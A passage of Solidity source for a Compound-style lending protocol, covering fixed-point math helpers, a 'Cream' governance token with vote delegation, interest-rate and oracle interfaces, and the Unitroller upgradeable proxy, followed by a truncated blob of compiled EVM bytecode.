divisor) internal pure returns (MathError, uint256) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function div_ScalarByExp(uint256 scalar, Exp memory divisor) internal pure returns (Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ uint256 numerator = mul_(expScale, scalar); return Exp({mantissa: div_(numerator, divisor)}); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function div_ScalarByExpTruncate(uint256 scalar, Exp memory divisor) internal pure returns (uint256) { Exp memory fraction = div_ScalarByExp(scalar, divisor); return truncate(fraction); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) { (MathError err0, uint256 doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint256 doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint256 product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint256 a, uint256 b) internal pure returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3( Exp memory a, Exp memory b, Exp memory c ) internal pure returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) internal pure returns (uint256) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) internal pure returns (bool) { return value.mantissa == 0; } function safe224(uint256 n, string memory errorMessage) internal pure returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) internal pure returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) internal pure returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint256 a, uint256 b) internal pure returns (uint256) { return add_(a, b, "addition overflow"); } function add_( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) internal pure returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) internal pure returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint256 a, uint256 b) internal pure returns (uint256) { return sub_(a, b, "subtraction underflow"); } function sub_( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) internal pure returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint256 b) internal pure returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint256 a, Exp memory b) internal pure returns (uint256) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) internal pure returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint256 b) internal pure returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint256 a, Double memory b) internal pure returns (uint256) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint256 a, uint256 b) internal pure returns (uint256) { return mul_(a, b, "multiplication overflow"); } function mul_( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) internal pure returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint256 b) internal pure returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint256 a, Exp memory b) internal pure returns (uint256) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) internal pure returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint256 b) internal pure returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint256 a, Double memory b) internal pure returns (uint256) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint256 a, uint256 b) internal pure returns (uint256) { return div_(a, b, "divide by zero"); } function div_( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function fraction(uint256 a, uint256 b) internal pure returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } // implementation from https://github.com/Uniswap/uniswap-lib/commit/99f3f28770640ba1bb1ff460ac7c5292fb8291a0 // original implementation: https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract Comp { /// @notice EIP-20 token name for this token string public constant name = "Cream"; /// @notice EIP-20 token symbol for this token string public constant symbol = "CREAM"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint256 public constant totalSupply = 9000000e18; // 9 million Comp /// @notice Allowance amounts on behalf of others mapping(address => mapping(address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping(address => uint96) internal balances; /// @notice A record of each accounts delegate mapping(address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Comp token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint256) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint256) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom( address src, address dst, uint256 rawAmount ) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96( spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance" ); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public { bytes32 domainSeparator = keccak256( abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)) ); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Comp::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce"); require(now <= expiry, "Comp::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens( address src, address dst, uint96 amount ) internal { require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates( address srcRep, address dstRep, uint96 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } pragma solidity ^0.5.16; /** * @title Compound's InterestRateModel Interface * @author Compound */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate( uint256 cash, uint256 borrows, uint256 reserves ) external view returns (uint256); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate( uint256 cash, uint256 borrows, uint256 reserves, uint256 reserveFactorMantissa ) external view returns (uint256); } pragma solidity ^0.5.16; contract LiquidityMiningInterface { function comptroller() external view returns (address); function updateSupplyIndex(address cToken, address[] calldata accounts) external; function updateBorrowIndex(address cToken, address[] calldata accounts) external; } pragma solidity ^0.5.16; import "../CToken.sol"; contract PriceOracle { /** * @notice Get the underlying price of a cToken asset * @param cToken The cToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable. */ function getUnderlyingPrice(CToken cToken) external view returns (uint256); } pragma solidity ^0.5.16; import "./ErrorReporter.sol"; import "./ComptrollerStorage.sol"; /** * @title ComptrollerCore * @dev Storage for the comptroller is at this address, while execution is delegated to the `comptrollerImplementation`. * CTokens should reference this contract as their comptroller. */ contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter { /** * @notice Emitted when pendingComptrollerImplementation is changed */ event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation); /** * @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); constructor() public { // Set admin to caller admin = msg.sender; } /*** Admin Functions ***/ function _setPendingImplementation(address newPendingImplementation) public returns (uint256) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK); } address oldPendingImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = newPendingImplementation; emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint256(Error.NO_ERROR); } /** * @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation * @dev Admin function for new implementation to accept it's role as implementation * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptImplementation() public returns (uint256) { // Check caller is pendingImplementation and pendingImplementation ≠ address(0) if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK); } // Save current values for inclusion in log address oldImplementation = comptrollerImplementation; address oldPendingImplementation = pendingComptrollerImplementation; comptrollerImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = address(0); emit NewImplementation(oldImplementation, comptrollerImplementation); emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint256(Error.NO_ERROR); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address newPendingAdmin) public returns (uint256) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint256(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint256) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint256(Error.NO_ERROR); } /** * @dev Delegates execution to an implementation contract. * It returns to the external caller whatever the implementation returns * or forwards reverts. */ function() external payable { // delegate all other functions to current implementation (bool success, ) = comptrollerImplementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } }
0x608060405234801561001057600080fd5b506004361061045e5760003560e01c80636d154ea51161024c578063bc93082b11610146578063dce15449116100c3578063ea5d010411610087578063ea5d0104146111e2578063eabe7d9114611208578063ede4edd01461123e578063f349760014611264578063f851a4401461128a5761045e565b8063dce1544914611172578063dcfbc0c71461119e578063e4028eee146111a6578063e6653f3d146111d2578063e8755446146111da5761045e565b8063cc7ebdc41161010a578063cc7ebdc414611084578063d02f7351146110aa578063d672d3e2146110f0578063d82ecc4814611116578063da3d454c1461113c5761045e565b8063bc93082b14610efe578063bdcdc25814610f2a578063c299823814610f66578063c488847b14611007578063ca0af043146110565761045e565b8063929fe9a1116101d4578063b0772d0b11610198578063b0772d0b14610e04578063b1ab78e614610e0c578063b1e1af2414610e9a578063b21be7fd14610ec8578063bb82aa5e14610ef65761045e565b8063929fe9a114610d2a57806399bc187314610d58578063a979f0c514610d7e578063abfceffc14610d86578063ac0b0bb714610dfc5761045e565b806385b2d5351161021b57806385b2d53514610c7957806387f7630314610c815780638c57804e14610c895780638e8f294b14610caf5780638ebf636414610d0b5761045e565b80636d154ea514610bdf5780636d35bf9114610c05578063731f0c2b14610c4b5780637dc0d1d014610c715761045e565b806342cbb15c1161035d57806351dff989116102e55780635f5af1aa116102a95780635f5af1aa14610a2b5780635fc7e71e14610a51578063607ef6c114610a975780636a56947e14610b555780636b79c38d14610b915761045e565b806351dff9891461095057806352d84d1e1461098c57806355ee1fe1146109a95780635c778605146109cf5780635ec88c7914610a055761045e565b80634ada90af1161032c5780634ada90af146107dd5780634e79238f146107e55780634ef4c3e11461083f5780634fd42e171461087557806351a485e4146108925761045e565b806342cbb15c1461073457806344e3de731461073c57806347ef3b3b1461076b5780634a584432146107b75761045e565b806326782247116103eb578063391957d7116103af578063391957d7146106765780633bcf7ec11461069c5780633c94786f146106ca5780633d98a1e5146106d257806341c728b9146106f85761045e565b806326782247146105dd5780632d70db78146105e5578063317b0b771461060457806336bdd0871461062157806338b8f4c3146106505761045e565b80631d7b33d7116104325780631d7b33d71461050d5780631ededc911461053357806321af45691461057557806324008a621461059957806324a3d622146105d55761045e565b80627e3dd21461046357806302c3bcbb1461047f57806318c882a5146104b75780631d504dc6146104e5575b600080fd5b61046b611292565b604080519115158252519081900360200190f35b6104a56004803603602081101561049557600080fd5b50356001600160a01b0316611297565b60408051918252519081900360200190f35b61046b600480360360408110156104cd57600080fd5b506001600160a01b03813516906020013515156112a9565b61050b600480360360208110156104fb57600080fd5b50356001600160a01b0316611438565b005b6104a56004803603602081101561052357600080fd5b50356001600160a01b0316611597565b61050b600480360360a081101561054957600080fd5b506001600160a01b038135811691602081013582169160408201351690606081013590608001356115a9565b61057d6115b0565b604080516001600160a01b039092168252519081900360200190f35b6104a5600480360360808110156105af57600080fd5b506001600160a01b038135811691602081013582169160408201351690606001356115bf565b61057d6115e4565b61057d6115f3565b61046b600480360360208110156105fb57600080fd5b50351515611602565b6104a56004803603602081101561061a57600080fd5b503561173c565b6104a56004803603604081101561063757600080fd5b5080356001600160a01b0316906020013560ff166117af565b61050b6004803603602081101561066657600080fd5b50356001600160a01b031661199a565b61050b6004803603602081101561068c57600080fd5b50356001600160a01b0316611a46565b61046b600480360360408110156106b257600080fd5b506001600160a01b0381351690602001351515611af2565b61046b611c7c565b61046b600480360360208110156106e857600080fd5b50356001600160a01b0316611c8c565b61050b6004803603608081101561070e57600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135611caa565b6104a5611cb0565b61050b6004803603604081101561075257600080fd5b5080356001600160a01b0316906020013560ff16611cb5565b61050b600480360360c081101561078157600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a00135611dc0565b6104a5600480360360208110156107cd57600080fd5b50356001600160a01b0316611dc8565b6104a5611dda565b610821600480360360808110156107fb57600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135611de0565b60408051938452602084019290925282820152519081900360600190f35b6104a56004803603606081101561085557600080fd5b506001600160a01b03813581169160208101359091169060400135611e1a565b6104a56004803603602081101561088b57600080fd5b5035612136565b61050b600480360360408110156108a857600080fd5b810190602081018135600160201b8111156108c257600080fd5b8201836020820111156108d457600080fd5b803590602001918460208302840111600160201b831117156108f557600080fd5b919390929091602081019035600160201b81111561091257600080fd5b82018360208201111561092457600080fd5b803590602001918460208302840111600160201b8311171561094557600080fd5b50909250905061219f565b61050b6004803603608081101561096657600080fd5b506001600160a01b0381358116916020810135909116906040810135906060013561232f565b61057d600480360360208110156109a257600080fd5b5035612383565b6104a5600480360360208110156109bf57600080fd5b50356001600160a01b03166123aa565b61050b600480360360608110156109e557600080fd5b506001600160a01b0381358116916020810135909116906040013561242f565b61082160048036036020811015610a1b57600080fd5b50356001600160a01b0316612434565b6104a560048036036020811015610a4157600080fd5b50356001600160a01b0316612469565b6104a5600480360360a0811015610a6757600080fd5b506001600160a01b03813581169160208101358216916040820135811691606081013590911690608001356124ed565b61050b60048036036040811015610aad57600080fd5b810190602081018135600160201b811115610ac757600080fd5b820183602082011115610ad957600080fd5b803590602001918460208302840111600160201b83111715610afa57600080fd5b919390929091602081019035600160201b811115610b1757600080fd5b820183602082011115610b2957600080fd5b803590602001918460208302840111600160201b83111715610b4a57600080fd5b509092509050612687565b61050b60048036036080811015610b6b57600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135611caa565b610bb760048036036020811015610ba757600080fd5b50356001600160a01b031661280e565b604080516001600160e01b03909316835263ffffffff90911660208301528051918290030190f35b61046b60048036036020811015610bf557600080fd5b50356001600160a01b0316612838565b61050b600480360360a0811015610c1b57600080fd5b506001600160a01b03813581169160208101358216916040820135811691606081013590911690608001356115a9565b61046b60048036036020811015610c6157600080fd5b50356001600160a01b031661284d565b61057d612862565b61057d612871565b61046b612880565b610bb760048036036020811015610c9f57600080fd5b50356001600160a01b0316612890565b610cd560048036036020811015610cc557600080fd5b50356001600160a01b03166128ba565b6040518084151515158152602001838152602001826002811115610cf557fe5b60ff168152602001935050505060405180910390f35b61046b60048036036020811015610d2157600080fd5b503515156128e0565b61046b60048036036040811015610d4057600080fd5b506001600160a01b0381358116916020013516612a19565b6104a560048036036020811015610d6e57600080fd5b50356001600160a01b0316612a4c565b61057d612a5e565b610dac60048036036020811015610d9c57600080fd5b50356001600160a01b0316612a6d565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610de8578181015183820152602001610dd0565b505050509050019250505060405180910390f35b61046b612af6565b610dac612b06565b61046b60048036036080811015610e2257600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b811115610e5c57600080fd5b820183602082011115610e6e57600080fd5b803590602001918460018302840111600160201b83111715610e8f57600080fd5b509092509050612b68565b61046b60048036036040811015610eb057600080fd5b506001600160a01b0381351690602001351515612b8b565b6104a560048036036040811015610ede57600080fd5b506001600160a01b0381358116916020013516612d1a565b61057d612d37565b61050b60048036036040811015610f1457600080fd5b506001600160a01b038135169060200135612d46565b6104a560048036036080811015610f4057600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135612de8565b610dac60048036036020811015610f7c57600080fd5b810190602081018135600160201b811115610f9657600080fd5b820183602082011115610fa857600080fd5b803590602001918460208302840111600160201b83111715610fc957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550612e8f945050505050565b61103d6004803603606081101561101d57600080fd5b506001600160a01b03813581169160208101359091169060400135612f26565b6040805192835260208301919091528051918290030190f35b6104a56004803603604081101561106c57600080fd5b506001600160a01b038135811691602001351661314e565b6104a56004803603602081101561109a57600080fd5b50356001600160a01b031661316b565b6104a5600480360360a08110156110c057600080fd5b506001600160a01b038135811691602081013582169160408201358116916060810135909116906080013561317d565b61046b6004803603602081101561110657600080fd5b50356001600160a01b0316613349565b61046b6004803603602081101561112c57600080fd5b50356001600160a01b031661335e565b6104a56004803603606081101561115257600080fd5b506001600160a01b0381358116916020810135909116906040013561337b565b61057d6004803603604081101561118857600080fd5b506001600160a01b0381351690602001356136b0565b61057d6136e5565b6104a5600480360360408110156111bc57600080fd5b506001600160a01b0381351690602001356136f4565b61046b6138a4565b6104a56138b4565b61050b600480360360208110156111f857600080fd5b50356001600160a01b03166138ba565b6104a56004803603606081101561121e57600080fd5b506001600160a01b03813581169160208101359091169060400135613a26565b6104a56004803603602081101561125457600080fd5b50356001600160a01b0316613a33565b61050b6004803603602081101561127a57600080fd5b50356001600160a01b0316613dd4565b61057d6140ef565b600181565b60166020526000908152604090205481565b60006112b483611c8c565b6112ef5760405162461bcd60e51b8152600401808060200182810382526028815260200180614d496028913960400191505060405180910390fd5b6009546001600160a01b031633148061131257506000546001600160a01b031633145b61134d5760405162461bcd60e51b8152600401808060200182810382526027815260200180614df46027913960400191505060405180910390fd5